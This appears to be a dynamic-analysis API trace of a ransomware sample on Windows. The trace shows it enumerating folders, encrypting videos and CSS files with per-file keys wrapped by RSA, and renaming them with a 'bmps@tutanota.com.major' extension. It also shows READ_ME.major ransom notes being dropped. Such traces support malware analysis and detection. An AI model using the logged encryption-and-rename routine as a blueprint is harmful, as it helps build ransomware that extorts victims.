1 [0170.054] WriteFile (in: hFile=0x7c0, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0170.054] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0170.054] WriteFile (in: hFile=0x7c0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0170.054] CloseHandle (hObject=0x7c0) returned 1 [0170.054] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\VEV_ mHUHdjk8n7UGN\\wflAY.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\vev_ mhuhdjk8n7ugn\\wflay.mkv"), lpNewFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\VEV_ mHUHdjk8n7UGN\\wflAY.mkv.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\vev_ mhuhdjk8n7ugn\\wflay.mkv.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0170.055] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0170.056] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\VEV_ mHUHdjk8n7UGN\\ShGqShfqOk.mp4", dwFileAttributes=0x80) returned 1 [0170.056] CreateFileW (lpFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\VEV_ mHUHdjk8n7UGN\\ShGqShfqOk.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\vev_ mhuhdjk8n7ugn\\shgqshfqok.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7c0 [0170.056] GetFileSizeEx (in: hFile=0x7c0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=51588) returned 1 [0170.056] ReadFile (in: hFile=0x7c0, lpBuffer=0x6590d8, nNumberOfBytesToRead=0xc984, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6590d8*, lpNumberOfBytesRead=0x2e3f9b4*=0xc984, lpOverlapped=0x0) returned 1 [0170.057] SetFilePointer (in: hFile=0x7c0, lDistanceToMove=-51588, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.057] WriteFile (in: hFile=0x7c0, lpBuffer=0x2ea0f38*, nNumberOfBytesToWrite=0xc984, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0f38*, lpNumberOfBytesWritten=0x2e3f9b4*=0xc984, lpOverlapped=0x0) returned 1 [0170.057] SetFilePointer (in: hFile=0x7c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xc984 [0170.057] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0170.057] WriteFile (in: hFile=0x7c0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0170.057] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0170.057] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0170.058] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0170.058] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="tbOMFgBn6CCkfBcewOpLJ+aL4rHO0P8k5TTxMgtyIjAqjKr/7KJZutkEptDGUajG\nUIle9KNnGGGDkL9jkLR0P7PswiuFsV6XuUDWe2j2nkcVoqgrZ2YCsA2OnyIH9phK\nsYrRoBtDtR2pZzOipTtfpHw4yOcB/DkXAODJUXVX/IkPLrob9Jx5+xImklFTcn0R\nsMhcH+3o8ZgxdOqxaqbCOmgwgOFlkpCKlHbaaijLqM0EmNVsZmHfaMJfu57MGDL2\n9d/WMYUzb8wyJtBt0XK56HGVEh4JELJaYFFSygWf2xd6G4WxP0aTwyZLyAwa1c64\nZpYKDiOA6Hwftfw7i8VSJg==\n", pcchString=0x2e3f9a8) returned 1 [0170.058] WriteFile (in: hFile=0x7c0, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0170.058] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0170.058] WriteFile (in: hFile=0x7c0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0170.058] CloseHandle (hObject=0x7c0) returned 1 [0170.058] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\VEV_ mHUHdjk8n7UGN\\ShGqShfqOk.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\vev_ mhuhdjk8n7ugn\\shgqshfqok.mp4"), lpNewFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\VEV_ mHUHdjk8n7UGN\\ShGqShfqOk.mp4.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\vev_ mhuhdjk8n7ugn\\shgqshfqok.mp4.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0170.060] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\YqJBnk1IxCci\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21510, ftCreationTime.dwHighDateTime=0x1d4ca83, ftLastAccessTime.dwLowDateTime=0x263c3c70, ftLastAccessTime.dwHighDateTime=0x1d4cc0d, ftLastWriteTime.dwLowDateTime=0x1ca4258a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x653f20 [0170.060] SetLastError (dwErrCode=0x0) [0170.060] GetLastError () returned 0x0 [0170.060] SetLastError (dwErrCode=0x0) [0170.060] GetLastError () returned 0x0 [0170.060] SetLastError (dwErrCode=0x0) [0170.060] FindNextFileW (in: hFindFile=0x653f20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21510, ftCreationTime.dwHighDateTime=0x1d4ca83, ftLastAccessTime.dwLowDateTime=0x263c3c70, ftLastAccessTime.dwHighDateTime=0x1d4cc0d, ftLastWriteTime.dwLowDateTime=0x1ca4258a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0170.060] SetLastError (dwErrCode=0x0) [0170.060] GetLastError () returned 0x0 [0170.060] SetLastError (dwErrCode=0x0) [0170.060] GetLastError () returned 0x0 [0170.060] SetLastError (dwErrCode=0x0) [0170.060] FindNextFileW (in: hFindFile=0x653f20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbaf01320, ftCreationTime.dwHighDateTime=0x1d4c9e0, ftLastAccessTime.dwLowDateTime=0x95d1d540, ftLastAccessTime.dwHighDateTime=0x1d4cdf7, ftLastWriteTime.dwLowDateTime=0x95d1d540, ftLastWriteTime.dwHighDateTime=0x1d4cdf7, nFileSizeHigh=0x0, nFileSizeLow=0x928c, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="fW1 L3.avi", cAlternateFileName="FW1L3~1.AVI")) returned 1 [0170.060] SetLastError (dwErrCode=0x0) [0170.060] GetLastError () returned 0x0 [0170.060] SetLastError (dwErrCode=0x0) [0170.060] GetLastError () returned 0x0 [0170.060] SetLastError (dwErrCode=0x0) [0170.060] FindNextFileW (in: hFindFile=0x653f20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc0fea960, ftCreationTime.dwHighDateTime=0x1d4d23d, ftLastAccessTime.dwLowDateTime=0xe440ee0, ftLastAccessTime.dwHighDateTime=0x1d4ce6f, ftLastWriteTime.dwLowDateTime=0xe440ee0, ftLastWriteTime.dwHighDateTime=0x1d4ce6f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="iBNG27op_RuCL", cAlternateFileName="IBNG27~1")) returned 1 [0170.060] SetLastError (dwErrCode=0x0) [0170.061] GetLastError () returned 0x0 [0170.061] SetLastError (dwErrCode=0x0) [0170.061] GetLastError () returned 0x0 [0170.061] SetLastError (dwErrCode=0x0) [0170.061] SetLastError (dwErrCode=0x0) [0170.061] GetLastError () returned 0x0 [0170.061] SetLastError (dwErrCode=0x0) [0170.061] SetLastError (dwErrCode=0x0) [0170.061] CreateFileW (lpFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\YqJBnk1IxCci\\iBNG27op_RuCL\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\yqjbnk1ixcci\\ibng27op_rucl\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7c4 [0170.061] WriteFile (in: hFile=0x7c4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0170.062] CloseHandle (hObject=0x7c4) returned 1 [0170.062] FindNextFileW (in: hFindFile=0x653f20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ca1c32d, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1ca1c32d, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1ca4258a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0170.062] SetLastError (dwErrCode=0x0) [0170.062] GetLastError () returned 0x0 [0170.062] SetLastError (dwErrCode=0x0) [0170.062] GetLastError () returned 0x0 [0170.062] SetLastError (dwErrCode=0x0) [0170.062] FindNextFileW (in: hFindFile=0x653f20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ca1c32d, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1ca1c32d, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1ca4258a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0170.062] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0170.062] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\YqJBnk1IxCci\\fW1 L3.avi", dwFileAttributes=0x80) returned 1 [0170.063] CreateFileW (lpFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\YqJBnk1IxCci\\fW1 L3.avi" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\yqjbnk1ixcci\\fw1 l3.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7c4 [0170.063] GetFileSizeEx (in: hFile=0x7c4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=37516) returned 1 [0170.063] ReadFile (in: hFile=0x7c4, lpBuffer=0x6590d8, nNumberOfBytesToRead=0x928c, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6590d8*, lpNumberOfBytesRead=0x2e3f9b4*=0x928c, lpOverlapped=0x0) returned 1 [0170.064] SetFilePointer (in: hFile=0x7c4, lDistanceToMove=-37516, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.064] WriteFile (in: hFile=0x7c4, lpBuffer=0x662370*, nNumberOfBytesToWrite=0x928c, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x662370*, lpNumberOfBytesWritten=0x2e3f9b4*=0x928c, lpOverlapped=0x0) returned 1 [0170.064] SetFilePointer (in: hFile=0x7c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x928c [0170.065] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0170.065] WriteFile (in: hFile=0x7c4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0170.065] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0170.065] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0170.065] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0170.065] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="FSaat+dst+ZBcKwsKFylNO4TT8Xv2yeNfUUPAK2vD3aQXzjAqHSgBcK5eES9XJnZ\n8LqMg82xWHpYsXpjtunJLpZM41/yLs5cG2tHUPCj8OQpWsS8BpNrdPP6gzqM2FDy\n/PmZn440ZRRzB22GylbY+mDa69E9+YAqCpvOBupRapFyXzx1wpiT7K6RjBqX0F00\n4i81g1eRjmzYPPREXLhyRnB4/DqbAtjcMb53RQzgZBeI7r9BEjyyaJNocQefIg2Y\nJjmLBlq3ZBJiYzLDeYULOMtXY9FK1uokXaEqp3Pl/7mkvBNHJaeR/yTzmbJO08OJ\nXptgA0hv0taY88vSW1CxUw==\n", pcchString=0x2e3f9a8) returned 1 [0170.065] WriteFile (in: hFile=0x7c4, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0170.065] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0170.065] WriteFile (in: hFile=0x7c4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0170.065] CloseHandle (hObject=0x7c4) returned 1 [0170.065] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\YqJBnk1IxCci\\fW1 L3.avi" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\yqjbnk1ixcci\\fw1 l3.avi"), lpNewFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\YqJBnk1IxCci\\fW1 L3.avi.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\yqjbnk1ixcci\\fw1 l3.avi.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0170.124] FindFirstFileW (in: lpFileName="\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea60a72c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea6143a6, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1de576a4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x653ee0 [0170.124] SetLastError (dwErrCode=0x0) [0170.124] GetLastError () returned 0x0 [0170.124] SetLastError (dwErrCode=0x0) [0170.124] GetLastError () returned 0x0 [0170.124] SetLastError (dwErrCode=0x0) [0170.124] FindNextFileW (in: hFindFile=0x653ee0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea60a72c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea6143a6, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1de576a4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0170.124] SetLastError (dwErrCode=0x0) [0170.124] GetLastError () returned 0x0 [0170.124] SetLastError (dwErrCode=0x0) [0170.124] GetLastError () returned 0x0 [0170.124] SetLastError (dwErrCode=0x0) [0170.124] FindNextFileW (in: hFindFile=0x653ee0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea60a72c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea60a72c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x9ff9, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="oobe-desktop.css", cAlternateFileName="OOBE-D~1.CSS")) returned 1 [0170.124] SetLastError (dwErrCode=0x0) [0170.124] GetLastError () returned 0x0 [0170.124] SetLastError (dwErrCode=0x0) [0170.124] SetLastError (dwErrCode=0x0) [0170.124] FindNextFileW (in: hFindFile=0x653ee0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1de576a4, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1de576a4, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1de576a4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0170.125] SetLastError (dwErrCode=0x0) [0170.125] GetLastError () returned 0x0 [0170.125] SetLastError (dwErrCode=0x0) [0170.125] GetLastError () returned 0x0 [0170.125] SetLastError (dwErrCode=0x0) [0170.125] FindNextFileW (in: hFindFile=0x653ee0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6143a6, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea6143a6, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x41b67, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="ui-dark.css", cAlternateFileName="")) returned 1 [0170.125] SetLastError (dwErrCode=0x0) [0170.125] GetLastError () returned 0x0 [0170.125] SetLastError (dwErrCode=0x0) [0170.125] GetLastError () returned 0x0 [0170.125] SetLastError (dwErrCode=0x0) [0170.125] FindNextFileW (in: hFindFile=0x653ee0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6143a6, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea6143a6, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x41b67, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="ui-dark.css", cAlternateFileName="")) returned 0 [0170.125] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0170.125] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\ui-dark.css", dwFileAttributes=0x80) returned 1 [0170.125] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\ui-dark.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\css\\ui-dark.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7c8 [0170.126] GetFileSizeEx (in: hFile=0x7c8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=269159) returned 1 [0170.126] ReadFile (in: hFile=0x7c8, lpBuffer=0x2ea0f38, nNumberOfBytesToRead=0x41b67, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0f38*, lpNumberOfBytesRead=0x2e3f9b4*=0x41b67, lpOverlapped=0x0) returned 1 [0170.191] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=-269159, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.191] WriteFile (in: hFile=0x7c8, lpBuffer=0x2f60858*, nNumberOfBytesToWrite=0x41b67, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f60858*, lpNumberOfBytesWritten=0x2e3f9b4*=0x41b67, lpOverlapped=0x0) returned 1 [0170.192] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x41b67 [0170.192] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0170.192] WriteFile (in: hFile=0x7c8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0170.192] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0170.192] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0170.193] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0170.193] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="in+t7e3ayydq76GIo9COA36xjVaQ9r+dyPfPy70Io9+wq2ywx5uZnp3sUirOxbUK\npm7QtwxXzNfM0SdYnVLwWpXBoEfwjV4de3603kSNbPQwzaBDlnBwcBMPIo6IYalk\nwbbpSOCdmC/wgTm0N5TZ9iNS1ofpB1cJQpKFA6VH3jQbgSjrUpF2g5SCKND7aTJK\nDu5nEEBAthaqsjNqlCpWQNnjxwv7kPX9XHU2fyTWDVVky4fBOARAWKT/02zBk4Gg\nMOPJnHHNoZt+1YwGsZmQkNZklRMFMZb6JfJrrpvFmiWXBWwlRZdNBWLGA0RS7SHJ\nfheADKlrjSVV84X6nd42JA==\n", pcchString=0x2e3f9a8) returned 1 [0170.193] WriteFile (in: hFile=0x7c8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0170.193] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0170.193] WriteFile (in: hFile=0x7c8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0170.193] CloseHandle (hObject=0x7c8) returned 1 [0170.193] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\ui-dark.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\css\\ui-dark.css"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\ui-dark.css.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\css\\ui-dark.css.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0170.196] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0170.196] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\oobe-desktop.css", dwFileAttributes=0x80) returned 1 [0170.197] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\oobe-desktop.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\css\\oobe-desktop.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7c8 [0170.197] GetFileSizeEx (in: hFile=0x7c8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=40953) returned 1 [0170.197] ReadFile (in: hFile=0x7c8, lpBuffer=0x6590d8, nNumberOfBytesToRead=0x9ff9, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6590d8*, lpNumberOfBytesRead=0x2e3f9b4*=0x9ff9, 